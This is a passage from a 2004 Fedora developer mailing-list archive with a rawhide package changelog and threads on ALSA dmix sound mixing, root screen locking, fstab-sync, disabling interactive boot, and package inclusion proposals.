selected and mixed together. Maybe I did not understand ALSA fully, but: IMHO you will need dmix only when your sound hardware is not capable of hardware mixing (like mine is, for example). If it was, you would not need (or want, for that matter) to use dmix. PS: inspired by this posting I tried to set up dmix again for my system (had tried it during FC2 testing, and was not impressed, crackling occured), but all seems well now. xine, mplayer, openttd (SDL layer) and bmp all happily sing along. The only thing not working are programs that want to use /dev/dspX directly, but those are few and far between for my uses. -- God is my co-pilot, but the Devil is my bombardier. From buildsys at redhat.com Mon Oct 18 12:04:04 2004 From: buildsys at redhat.com (Build System) Date: Mon, 18 Oct 2004 08:04:04 -0400 Subject: rawhide report: 20041018 changes Message-ID: <200410181204.i9IC44420519@porkchop.devel.redhat.com> Updated Packages: anaconda-10.0.3.19-1 -------------------- * Sun Oct 17 2004 Jeremy Katz - 10.0.3.19-1 - Fix font size to fit on disk display better (#135731) - Write out part lines for autopart lvm correctly (#135714) - Remove empty row in drive order for boot loader (#135944) - Replace % in URLs to avoid format string weirdness (#135929) - Bind mount /dev for rescue mode (#135860) - Fix Dutch and Danish keyboard defaults (#135839) - add s2io 10GbE driver * Thu Oct 14 2004 Jeremy Katz - 10.0.3.18-1 - Add fonts for ta, gu, bn, hi, pa (#119283) - Re-enable bterm for testing (#113910) - Fix segfault when using biospart with a ks hdinstall. Patch from Rez Kabir (#135609) - Write out /etc/sysconfig/kernel for use with new-kernel-pkg changes (#135161) - Fix telnet logins for s390 (karsten) - Hardcode LCS as eth instead of tr (karsten) * Tue Oct 12 2004 Jeremy Katz - 10.0.3.17-1 - Only use "our" LVM partitions with auto-partitioning (#135440) - Remove localboot option from syslinux.cfg for diskboot.img (#135263) - Handle the great input method switch on upgrade (#129218) - Don't save the hwaddr for qeth (#135023) - Add rhgb boot loader arguments in postinstall (msw) - Reverse Norwegian blacklisting (#129453) (notting) - Add sata_nv, sata_sx4, ixgb, ahci, sx8 modules to the initrd (notting) createrepo-0.4.0-1 ------------------ * Mon Oct 18 2004 Bill Nottingham - 0.4.0, fixes #134776 desktop-backgrounds-2.0-26.2 ---------------------------- * Mon Oct 18 2004 Alexander Larsson - 2.0-26.2 - New background * Thu Sep 30 2004 Alexander Larsson - 2.0-26.1E - RHEL build mkinitrd-4.1.18-1 ----------------- * Sun Oct 17 2004 Jeremy Katz - 4.1.18-1 - fix UPDATEDEFAULT with new-kernel-pkg (#135997) nfs-utils-1.0.6-39 ------------------ * Sun Oct 17 2004 Steve Dickson - Changed nfs.init to bring down rquotad correctly (bz# 136041) rpmdb-fedora-2.92-0.20041018 ---------------------------- yum-2.1.8-1 ----------- * Mon Oct 18 2004 Bill Nottingham - 2.1.8-1 - 2.1.8, fixes #135735, #135998, #135775 From felipe_alfaro at linuxmail.org Mon Oct 18 12:13:36 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Mon, 18 Oct 2004 14:13:36 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <20041018135902.176bd51e@nausicaa.camperquake.de> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> Message-ID: <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> On Oct 18, 2004, at 13:59, Ralf Ertzinger wrote: > Hi. > > David Mohring wrote: > >> Even using the ALSA interface, Fedora defaults to sending/receiving >> applications audio direct to the hardware device, hogging the >> interface. >> By default audio output could go to ALSA or better yet a Dmix plug, >> where the source and destination could be selected and mixed together. > > Maybe I did not understand ALSA fully, but: > IMHO you will need dmix only when your sound hardware is not capable of > hardware mixing (like mine is, for example). If it was, you would not > need (or want, for that matter) to use dmix. You are right... Some sound cards out there have several hardware audio channels and can perform HW sound mixing of up to a number of sound sources equal to its sound channels. For example, if the card has 4 HW channels it can mix up to 4 simultaneous sound sources. From i_p_a_u_l at yahoo.com Mon Oct 18 12:37:39 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Mon, 18 Oct 2004 15:37:39 +0300 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> <20041018000453.GA22811@nsk.no-ip.org> <41730DC3.5CAFF765@jwz.org> <1098088957.3964.2.camel@mentorng.gurulabs.com> Message-ID: And the lock screen + xscreensaver works too AFAIK. On Mon, 18 Oct 2004 02:42:37 -0600, Dax Kelson wrote: > Related to this "don't login into X as root" discussion... > > On SUSE Enterprise, if you do a gui login or startx as root, the wall > paper is red with warning symbols and bomb icons. :) > > Dax From skvidal at phy.duke.edu Mon Oct 18 13:17:04 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 18 Oct 2004 09:17:04 -0400 Subject: rawhide report: 20041018 changes In-Reply-To: <200410181204.i9IC44420519@porkchop.devel.redhat.com> References: <200410181204.i9IC44420519@porkchop.devel.redhat.com> Message-ID: <1098105424.23856.33.camel@binkley> > yum-2.1.8-1 > ----------- > * Mon Oct 18 2004 Bill Nottingham - 2.1.8-1 > > - 2.1.8, fixes #135735, #135998, #135775 2.1.8, Breaks, everything b/c I left a local devel path in a file. Fixed in 2.1.9 - which should hit rawhide very soon. you won't be able to uses 2.1.8 unless you have my homedir with my devel paths. :) Sorry. -sv From heretic at ihug.co.nz Mon Oct 18 13:29:47 2004 From: heretic at ihug.co.nz (David Mohring) Date: Tue, 19 Oct 2004 02:29:47 +1300 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> Message-ID: <1098106187.32464.44.camel@heretic.grobb.org> On Mon, 2004-10-18 at 14:13 +0200, Felipe Alfaro Solana wrote: > On Oct 18, 2004, at 13:59, Ralf Ertzinger wrote: > > > Hi. > > > > David Mohring wrote: > > > >> Even using the ALSA interface, Fedora defaults to sending/receiving > >> applications audio direct to the hardware device, hogging the > >> interface. > >> By default audio output could go to ALSA or better yet a Dmix plug, > >> where the source and destination could be selected and mixed together. > > > > Maybe I did not understand ALSA fully, but: > > IMHO you will need dmix only when your sound hardware is not capable of > > hardware mixing (like mine is, for example). If it was, you would not > > need (or want, for that matter) to use dmix. > > You are right... Some sound cards out there have several hardware audio > channels and can perform HW sound mixing of up to a number of sound > sources equal to its sound channels. For example, if the card has 4 HW > channels it can mix up to 4 simultaneous sound sources. > Ok, how about giving the option to deploy audio as either 1) Direct to card hardware Card set up as /dev/dsp hw:0 etc 2) Software Mix Dmix set up as /dev/dsp hw:0 etc Following audio devices set up /dev/dspX hw:X etc And the future kernel hack 3) Multiuser Software Switch a /dev/tty like switch for /dev/dsp hw:0 to each users assigned /dev/dsp hw:0 etc - either hardware or dmix device. -- David Mohring From dnjinc at wowway.com Mon Oct 18 13:27:12 2004 From: dnjinc at wowway.com (Demond James) Date: Mon, 18 Oct 2004 09:27:12 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <20041018135902.176bd51e@nausicaa.camperquake.de> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> Message-ID: <4173C4B0.3000406@wowway.com> Ralf Ertzinger wrote: >Hi. > >David Mohring wrote: > > > >>Even using the ALSA interface, Fedora defaults to sending/receiving >>applications audio direct to the hardware device, hogging the interface. >>By default audio output could go to ALSA or better yet a Dmix plug, >>where the source and destination could be selected and mixed together. >> >> > >Maybe I did not understand ALSA fully, but: >IMHO you will need dmix only when your sound hardware is not capable of >hardware mixing (like mine is, for example). If it was, you would not >need (or want, for that matter) to use dmix. > >PS: inspired by this posting I tried to set up dmix again for my system >(had tried it during FC2 testing, and was not impressed, crackling occured), >but all seems well now. xine, mplayer, openttd (SDL layer) and bmp all >happily sing along. >The only thing not working are programs that want to use /dev/dspX directly, >but those are few and far between for my uses. > > > How about using the available hardware audio channels if hardware mixing can be acomplished but default to dmix if the sound card is incapable of hardware mixing. Maybe someone who better understands ALSA:dmix can suggest more creative ways to interface with these cards. I'm sure there are lots of users out there that would love to get simultaneous sound mixing be default. If sound quality is an issure then that will definately have to be addressed From heretic at ihug.co.nz Mon Oct 18 13:32:20 2004 From: heretic at ihug.co.nz (David Mohring) Date: Tue, 19 Oct 2004 02:32:20 +1300 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <1098106187.32464.44.camel@heretic.grobb.org> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> <1098106187.32464.44.camel@heretic.grobb.org> Message-ID: <1098106340.32464.46.camel@heretic.grobb.org> On Tue, 2004-10-19 at 02:29 +1300, David Mohring wrote: > > > > Ok, how about giving the option to deploy audio as either > 1) Direct to card hardware > Card set up as /dev/dsp hw:0 etc > 2) Software Mix > Dmix set up as /dev/dsp hw:0 etc > Following audio devices set up /dev/dspX hw:X etc > And the future kernel hack > 3) Multiuser Software Switch > a /dev/tty like switch for /dev/dsp hw:0 to each users assigned > /dev/dsp hw:0 etc - either hardware or dmix device. Opps last line should read /dev/dspX hw:X etc - either hardware or dmix device. > > -- > David Mohring > -- David Mohring From elanthis at awesomeplay.com Mon Oct 18 13:47:21 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Mon, 18 Oct 2004 09:47:21 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <1098106187.32464.44.camel@heretic.grobb.org> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> <1098106187.32464.44.camel@heretic.grobb.org> Message-ID: <1098107241.2237.0.camel@support02.civic.twp.ypsilanti.mi.us> On Tue, 2004-10-19 at 02:29 +1300, David Mohring wrote: > On Mon, 2004-10-18 at 14:13 +0200, Felipe Alfaro Solana wrote: > > You are right... Some sound cards out there have several hardware audio > > channels and can perform HW sound mixing of up to a number of sound > > sources equal to its sound channels. For example, if the card has 4 HW > > channels it can mix up to 4 simultaneous sound sources. > > > > Ok, how about giving the option to deploy audio as either > 1) Direct to card hardware > Card set up as /dev/dsp hw:0 etc > 2) Software Mix > Dmix set up as /dev/dsp hw:0 etc > Following audio devices set up /dev/dspX hw:X etc Or, instead of being goofy and making this an "option," just use the HAL FDI system to mark which cards need software mixing and which don't, and make it all nice and automatic like it should be. > And the future kernel hack > 3) Multiuser Software Switch > a /dev/tty like switch for /dev/dsp hw:0 to each users assigned > /dev/dsp hw:0 etc - either hardware or dmix device. > > -- > David Mohring > -- Sean Middleditch AwesomePlay Productions, Inc. From johnp at redhat.com Mon Oct 18 14:00:18 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Mon, 18 Oct 2004 10:00:18 -0400 Subject: fstab-sync dislikes floppy device In-Reply-To: References: Message-ID: <1098108019.10791.2.camel@remedyz.boston.redhat.com> On Mon, 2004-10-18 at 01:16 +0200, Lars wrote: > hi > on latest rawhide fstab-sync removes the floppy device at each reboot here. > is there a chance to make it stick in fstab? > > lars What do you mean by it goes away? It should be rewritten at every boot. Please file a bug against hal so this issue can be tracked. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From kyrre at solution-forge.net Mon Oct 18 14:41:34 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 18 Oct 2004 16:41:34 +0200 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <20041018015650.GA9255@jadzia.bu.edu> References: <1098040183.4847.199.camel@localhost.localdomain> <20041018015650.GA9255@jadzia.bu.edu> Message-ID: <1098110493.2691.6.camel@kyrre> i thougth "suspend". Turns out it had a man page, and it was owned by bash. "Hey, look at this cool new shell script" #./my-?ber-cool-shell-script *swirr...* "Whatha?!?" man, 18.10.2004 kl. 03.56 skrev Matthew Miller: > On Sun, Oct 17, 2004 at 03:09:43PM -0400, Havoc Pennington wrote: > > [1] however we have to think of a name other than "suspend," > > unfortunately, since suspend is a bash builtin > > "sleep"? > > > Oh no, wait. > > :) > > -- > Matthew Miller mattdm at mattdm.org > Boston University Linux ------> From mwiktowy at gmx.net Mon Oct 18 14:48:42 2004 From: mwiktowy at gmx.net (Michael Wiktowy) Date: Mon, 18 Oct 2004 10:48:42 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <20041018140102.4EA8373661@hormel.redhat.com> References: <20041018140102.4EA8373661@hormel.redhat.com> Message-ID: <4173D7CA.8060909@gmx.net> Date: Mon, 18 Oct 2004 13:59:02 +0200 From: Ralf Ertzinger : >>> Even using the ALSA interface, Fedora defaults to sending/receiving >>> applications audio direct to the hardware device, hogging the interface. >>> By default audio output could go to ALSA or better yet a Dmix plug, >>> where the source and destination could be selected and mixed together. >> >> > Maybe I did not understand ALSA fully, but: IMHO you will need dmix > only when your sound hardware is not capable of hardware mixing (like > mine is, for example). If it was, you would not need (or want, for > that matter) to use dmix. PS: inspired by this posting I tried to set > up dmix again for my system (had tried it during FC2 testing, and was > not impressed, crackling occured), but all seems well now. xine, > mplayer, openttd (SDL layer) and bmp all happily sing along. The only > thing not working are programs that want to use /dev/dspX directly, > but those are few and far between for my uses. This discussion is good to see as audio in Linux has been confusing me for some time now. I hope to learn a lot here :] Your last point raises the question: *Should* legacy applications that are using OSS directly and don't know about ALSA be able to multiplex sound inputs/outputs together on a system that has ALSA? On my machine (using the onboard sound on an ASUS A7N8X Deluxe mobo) they don't and it makes things very awkward at times (i.e. I cannot talk using a VOIP app and play music or game at the same time). I don't know whether ALSA should be transparently mixing things no matter what interface the app uses or if this is impossible due to some limitations inherent in the OSS protocols ... if someone has any insight here, I would love to hear it. I am very baffled at the moment since on my machine: - two instances of aplay will multiplex things together as you would suspect ... indicating that either software or hardware mixing is possible on my audio card. - playing something with XMMS (even with the ALSA output plugin selected) will block aplay from playing anything until XMMS is stopped (pausing XMMS still blocks aplay) - Rhythmbox gets very confused at times when there is an OSS application running - forget about trying to run two OSS apps at the same time ... if the second one runs at all, it will be silent. If these are situations that are supposed to work, then I will be busy filling out bugzilla reports for a while. I was under the impression that these would go away over time as all the apps are migrated to be ALSA friendly. If OSS apps could be fooled into working properly today, then I hope that this could be set up by default soon. Thanks. /Mike From kyrre at solution-forge.net Mon Oct 18 14:47:59 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 18 Oct 2004 16:47:59 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: References: <4172F445.9010809@redhat.com> Message-ID: <1098110879.2691.11.camel@kyrre> I can see why is it unsecure to login as root, but why deny them a "lock screen"? What more can be done than - Killing the Xserver via the three-finger-salute - Killing xscreenserver via a root account... Oh... You need to be root to do that, right? GUI root can be usefull sometimes. Such as when your auth setup has totally screwed up, and you need to run "system-config-authentification". As far as i can see, the only effective way to prevent people from login in to root, is to remove all usefull gui setup tools... man, 18.10.2004 kl. 00.44 skrev Paul Ionescu: > On Sun, 17 Oct 2004 12:37:57 -1000, Warren Togami wrote: > > This has NEVER worked for root. It has something to do with xscreensaver > > not being very secure. In any case you shouldn't be logging in as root > > anyway. You should use su or sudo when you need root functions. > > Well, I know that, but it works fine in KDE. > And if somebody insist to log in as root, it is even more dangerous that > he cannot lock the screen. From jspaleta at gmail.com Mon Oct 18 14:53:14 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 18 Oct 2004 10:53:14 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <1098107241.2237.0.camel@support02.civic.twp.ypsilanti.mi.us> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> <1098106187.32464.44.camel@heretic.grobb.org> <1098107241.2237.0.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <604aa7910410180753d05b194@mail.gmail.com> On Mon, 18 Oct 2004 09:47:21 -0400, Sean Middleditch wrote: > Or, instead of being goofy and making this an "option," just use the HAL > FDI system to mark which cards need software mixing and which don't, and > make it all nice and automatic like it should be. hal? or would udev rules and/or scripts be more appropriate for this sort of thing? -jef From fedora-devel at camperquake.de Mon Oct 18 15:01:07 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Mon, 18 Oct 2004 17:01:07 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <4173D7CA.8060909@gmx.net> References: <20041018140102.4EA8373661@hormel.redhat.com> <4173D7CA.8060909@gmx.net> Message-ID: <20041018170107.12b69754@nausicaa.camperquake.de> Hi. Michael Wiktowy wrote: > Your last point raises the question: *Should* legacy applications that > are using OSS directly and don't know about ALSA be able to multiplex > sound inputs/outputs together on a system that has ALSA? IMVVVHO: yes, they ought to. ALSA does not support this, though. There is an application called aoss (not delivered with fedora) that reroutes calls to open legacy sound devices (/dev/dsp*) into the ALSA core, where they can be mixed. -- PS: if you try to understand NET-GetURL your head will explode. -- Jamie Zawinski, on the release of the source to Mozilla From elanthis at awesomeplay.com Mon Oct 18 15:06:53 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Mon, 18 Oct 2004 11:06:53 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <604aa7910410180753d05b194@mail.gmail.com> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> <1098106187.32464.44.camel@heretic.grobb.org> <1098107241.2237.0.camel@support02.civic.twp.ypsilanti.mi.us> <604aa7910410180753d05b194@mail.gmail.com> Message-ID: <1098112013.2237.6.camel@support02.civic.twp.ypsilanti.mi.us> On Mon, 2004-10-18 at 10:53 -0400, Jeff Spaleta wrote: > On Mon, 18 Oct 2004 09:47:21 -0400, Sean Middleditch > wrote: > > Or, instead of being goofy and making this an "option," just use the HAL > > FDI system to mark which cards need software mixing and which don't, and > > make it all nice and automatic like it should be. > > hal? or would udev rules and/or scripts be more appropriate for this > sort of thing? HAL provides the information that the udev rules or scripts would use. You'd query some property on the HAl device info as to whether hardware mixing is available or not. In a more ideal world, the ALSA drivers would directly provide that information, and you wouldn't need a separate database of device info to know whether the current hardware and driver support hardware mixing. I don't know if ALSA exports that kind of information, however; I'm under the assumption that it does not. > > -jef > -- Sean Middleditch AwesomePlay Productions, Inc. From NOS at Utel.no Mon Oct 18 15:23:49 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Mon, 18 Oct 2004 17:23:49 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <000001c4b508$00cf06b0$14aaa8c0@utelsystems.local> References: <000001c4b508$00cf06b0$14aaa8c0@utelsystems.local> Message-ID: <4173E005.7010507@Utel.no> David Mohring wrote: > The state of the Linux/Unix application audio subsystems remains a mess > of competing interfaces and audio mixer and networking demons. > > Proposal: Rationalizing Fedora Audio ... What about having several devices ? Right now I have an onboard soundcard, and a USB headset. Having the option of setting one of these as default somewhere would be a very nice thing. From kyrre at solution-forge.net Mon Oct 18 15:38:35 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 18 Oct 2004 17:38:35 +0200 Subject: interactive boot and security Message-ID: <1098113915.2691.18.camel@kyrre> Being so lucky to run a public system, i wonder: is there any way to completely disable "interactive startup", at least without prompting for root first (and 3 failed logins => continued boot)? From nphilipp at redhat.com Mon Oct 18 15:46:58 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Mon, 18 Oct 2004 17:46:58 +0200 Subject: interactive boot and security In-Reply-To: <1098113915.2691.18.camel@kyrre> References: <1098113915.2691.18.camel@kyrre> Message-ID: <1098114419.20164.4.camel@gibraltar.stuttgart.redhat.com> On Mon, 2004-10-18 at 17:38 +0200, Kyrre Ness Sjobak wrote: > Being so lucky to run a public system, i wonder: is there any way to > completely disable "interactive startup", at least without prompting for > root first (and 3 failed logins => continued boot)? >From /etc/sysconfig/init: [...] # Set to anything other than 'no' to allow hotkey interactive startup... PROMPT=yes [...] --> Set this to "no" Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From kyrre at solution-forge.net Mon Oct 18 15:44:59 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 18 Oct 2004 17:44:59 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <4173E005.7010507@Utel.no> References: <000001c4b508$00cf06b0$14aaa8c0@utelsystems.local> <4173E005.7010507@Utel.no> Message-ID: <1098114299.2691.20.camel@kyrre> that-soundcard-detection-thing-i-can-never-remember-what-is-called? man, 18.10.2004 kl. 17.23 skrev "Nils O. Sel?sdal": > David Mohring wrote: > > The state of the Linux/Unix application audio subsystems remains a mess > > of competing interfaces and audio mixer and networking demons. > > > > Proposal: Rationalizing Fedora Audio > ... What about having several devices ? Right now I have an onboard soundcard, > and a USB headset. Having the option of setting one of these as default > somewhere would be a very nice thing. From kyrre at solution-forge.net Mon Oct 18 15:51:04 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 18 Oct 2004 17:51:04 +0200 Subject: interactive boot and security In-Reply-To: <1098114419.20164.4.camel@gibraltar.stuttgart.redhat.com> References: <1098113915.2691.18.camel@kyrre> <1098114419.20164.4.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1098114664.2691.25.camel@kyrre> Thanks! man, 18.10.2004 kl. 17.46 skrev Nils Philippsen: > On Mon, 2004-10-18 at 17:38 +0200, Kyrre Ness Sjobak wrote: > > Being so lucky to run a public system, i wonder: is there any way to > > completely disable "interactive startup", at least without prompting for > > root first (and 3 failed logins => continued boot)? > > >From /etc/sysconfig/init: > > [...] > # Set to anything other than 'no' to allow hotkey interactive startup... > PROMPT=yes > [...] > > --> Set this to "no" > > Nils > -- > Nils Philippsen / Red Hat / nphilipp at redhat.com > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- B. Franklin, 1759 > PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From arcofdescent at gmail.com Mon Oct 18 17:20:42 2004 From: arcofdescent at gmail.com (Rohan Almeida) Date: Mon, 18 Oct 2004 22:50:42 +0530 Subject: Proposal: new package in fc3 Message-ID: <777aada20410181020e77045@mail.gmail.com> HI, Its called ibmonitor - an interactive bandwidth monitor. See more at http://ibmonitor.sourceforge.net Its right now in the stable RPM list of Fedora extras and I would dearly (for the love of all mankind) like to see it feature in the main Fedora distribution. Also read the bug report I filed at https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136070 for more insights. I would very much appreciate any comments, suggestions from the Fedora community regarding this. Thanks! -- Rohan From david at fubar.dk Mon Oct 18 17:30:16 2004 From: david at fubar.dk (David Zeuthen) Date: Mon, 18 Oct 2004 13:30:16 -0400 Subject: fstab-sync dislikes floppy device In-Reply-To: <1098108019.10791.2.camel@remedyz.boston.redhat.com> References: <1098108019.10791.2.camel@remedyz.boston.redhat.com> Message-ID: <1098120616.3717.1.camel@davidz> On Mon, 2004-10-18 at 10:00 -0400, John (J5) Palmieri wrote: > On Mon, 2004-10-18 at 01:16 +0200, Lars wrote: > > hi > > on latest rawhide fstab-sync removes the floppy device at each reboot here. > > is there a chance to make it stick in fstab? > > > > lars > > What do you mean by it goes away? It should be rewritten at every boot. > Please file a bug against hal so this issue can be tracked. > This is already being tracked in bug 133777 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133777 Cheers, David > -- > John (J5) Palmieri > Associate Software Engineer > Desktop Group > Red Hat, Inc. > Blog: http://martianrock.com > From NOS at Utel.no Mon Oct 18 17:58:50 2004 From: NOS at Utel.no (=?ISO-8859-15?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Mon, 18 Oct 2004 19:58:50 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <000201c4b52b$9dbe6ba0$14aaa8c0@utelsystems.local> References: <000001c4b508$00cf06b0$14aaa8c0@utelsystems.local> <4173E005.7010507@Utel.no> <000201c4b52b$9dbe6ba0$14aaa8c0@utelsystems.local> Message-ID: <4174045A.2070607@Utel.no> Kyrre Ness Sjobak wrote: > that-soundcard-detection-thing-i-can-never-remember-what-is-called? > > man, 18.10.2004 kl. 17.23 skrev "Nils O. Sel?sdal": > >>David Mohring wrote: >> >>>The state of the Linux/Unix application audio subsystems remains a mess >>>of competing interfaces and audio mixer and networking demons. >>> >>>Proposal: Rationalizing Fedora Audio >> >>... What about having several devices ? Right now I have an onboard soundcard, >>and a USB headset. Having the option of setting one of these as default >>somewhere would be a very nice thing. You mean system-config-soundcard ? It has only a play test sound and a Ok button, shows things about the onboard card... From smooge at gmail.com Mon Oct 18 18:27:10 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Mon, 18 Oct 2004 12:27:10 -0600 Subject: Proposal: new package in fc3 In-Reply-To: <777aada20410181020e77045@mail.gmail.com> References: <777aada20410181020e77045@mail.gmail.com> Message-ID: <80d7e409041018112724e16730@mail.gmail.com> On Mon, 18 Oct 2004 22:50:42 +0530, Rohan Almeida wrote: > HI, > > Its called ibmonitor - an interactive bandwidth monitor. > See more at http://ibmonitor.sourceforge.net > > Its right now in the stable RPM list of Fedora extras and I would > dearly (for the love of all mankind) like to see it feature > in the main Fedora distribution. > > Also read the bug report I filed at > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136070 > for more insights. > > I would very much appreciate any comments, suggestions > from the Fedora community regarding this. > I think it is too late for FC3 with the last test ISO available, translations being worked on, etc etc.. It would be a great addition for FC4. I know I will be installing it on my Firewall when I get FC3 gold installed on it. -- Stephen J Smoogen. CSIRT/Linux System Administrator From walters at redhat.com Mon Oct 18 18:46:19 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 18 Oct 2004 14:46:19 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098094242.7422.25.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> Message-ID: <1098125179.7435.13.camel@decepticon.boston.redhat.com> On Mon, 2004-10-18 at 12:10 +0200, Matias F?liciano wrote: > I think it's anormal to have OSS support in gstreamer since FC3 (as FC2) > does not provide OSS drivers. I don't know how gstreamer works and > perhaps it's a bug in gnome-volume-control/mixer-applet or gstreamer > that should be fixed. In this case, I only suggested a workaround > (remove OSS plugin). Ronald and I talked about this a while ago; my proposed solution is to have the Alsa OSS compatibility kernel drivers export somehow that they are simply a shim layer instead of a real device, and for gnome-volume- control not to display them by default. Perhaps this could actually be done at the HAL level. This won't happen for FC3 though, at least not gold. It might be possible to backport fixes from GNOME 2.10 and have updated alsa packages though. > But I don't think it's good idea to keep OSS plugin only because > sometimes it works better than alsa plugin. One alternative instead would be have gnome-volume-control skip OSS mixers for now. From fedora at wir-sind-cool.org Mon Oct 18 18:51:37 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Mon, 18 Oct 2004 20:51:37 +0200 Subject: Proposal: new package in fc3 In-Reply-To: <777aada20410181020e77045@mail.gmail.com> References: <777aada20410181020e77045@mail.gmail.com> Message-ID: <20041018205137.6606f24c.fedora@wir-sind-cool.org> On Mon, 18 Oct 2004 22:50:42 +0530, Rohan Almeida wrote: > Its called ibmonitor - an interactive bandwidth monitor. > See more at http://ibmonitor.sourceforge.net > > Its right now in the stable RPM list of Fedora extras and I would > dearly (for the love of all mankind) like to see it feature > in the main Fedora distribution. > > Also read the bug report I filed at > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136070 > for more insights. > > I would very much appreciate any comments, suggestions > from the Fedora community regarding this. If you ported this from Perl to Python, you might get support from the Python lobby inside Red Hat, which seems to be much stronger than the Perl lobby. -- Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.8-1.541 loadavg: 2.00 1.32 1.11 From hp at redhat.com Mon Oct 18 19:11:27 2004 From: hp at redhat.com (Havoc Pennington) Date: Mon, 18 Oct 2004 15:11:27 -0400 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> References: <1098099418.32464.35.camel@heretic.grobb.org> <20041018135902.176bd51e@nausicaa.camperquake.de> <2338EE9C-20FF-11D9-B7DA-000D9352858E@linuxmail.org> Message-ID: <1098126687.24400.12.camel@localhost.localdomain> On Mon, 2004-10-18 at 14:13 +0200, Felipe Alfaro Solana wrote: > > You are right... Some sound cards out there have several hardware audio > channels and can perform HW sound mixing of up to a number of sound > sources equal to its sound channels. For example, if the card has 4 HW > channels it can mix up to 4 simultaneous sound sources. > Having to configure this manually is a nonstarter. It's very clear that the right thing to do is automatically use hardware mixing if possible, and otherwise fall back to software mixing. If that isn't possible, then we need to use software mixing by default for all the normal nondemanding sound cases since it will always work; and reserve hardware mixing for complex audio apps that want to play with ALSA directly, or let users turn it on manually by editing some text file, if they care about the performance win. Users that just want to play mp3's aren't going to understand a bunch of how-is-mixing-implemented configuration nonsense. Havoc From shiva at sewingwitch.com Mon Oct 18 19:12:35 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Mon, 18 Oct 2004 12:12:35 -0700 Subject: MySQL 4 stalled in Red Hat legal department Message-ID: 